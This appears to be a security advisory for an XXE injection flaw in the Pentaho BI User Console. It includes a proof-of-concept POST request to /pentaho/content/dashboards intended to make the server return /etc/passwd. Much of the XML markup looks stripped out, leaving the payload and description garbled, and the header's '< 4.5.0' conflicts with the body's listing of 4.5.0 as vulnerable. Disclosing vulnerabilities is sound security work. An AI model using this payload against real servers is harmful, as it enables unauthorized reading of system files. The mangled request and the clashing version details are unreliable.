======================================================================== title: Pentaho User Console XML Injection Vulnerability program: Pentaho BI User Console vulnerable version: Pentaho < 4.5.0 homepage: http://www.pentaho.com/ Tested on: Linux x86/x86_64 found: Feb. 5 2014 Original Discovery by: Taylor Tippins Exploit By: K.d Long kd@stonedcoder.org ======================================================================== Vendor description: ------------------- The Pentaho Business Analytics suite manages Business Intelligence solutions, generate the reports, data aggregation, and provides users access to analysis views. Vulnerability description: -------------------------- The dashboardXml parameter is vulnerable to XML external entity injection. The tag ]> was injected into the XML of the client's POST request. This tag defines an external entity, xxe8295c, which references a file on the XML parser's filesystem. This entity was then used within a data field in the XML document. The server's response contains the contents of the specified file, indicating that the parser processed the injected external entity. By manipulating the POST request to “/pentaho/content/dashboards” it is possible to inject arbitrary XML declarations- and tags. This request is triggered while a user is creating a customized dashboard. Proof of concept: ----------------- The following entity declaration would create a new XML entity with the content of the /etc/passwd file which can be referenced in the following XML request content: ---cut here--- POST /pentaho/content/dashboards HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 Accept: */* Accept-Language: en-US,en;q=0.5 Referer: https://example.com/pentaho/content/dashboards?command=new Cookie: loginNewWindowChecked=false; JSESSIONID=61448378278C147D05BC95BAB4B63F19 Content-Length: 2458 Connection: keep-alive command=templatecontents&dashboardXml= ]> New Dashboard New Dashboard false test xul/04-1-then-2.xul&xxe8295c; 00-Onyx &type=html ---cut here--- Vulnerable versions: -------------------- Pentaho User Console Release 4.5.0.GA.49857 Vendor contact timeline: ------------------------ 02/16/2014: Vendor notified via email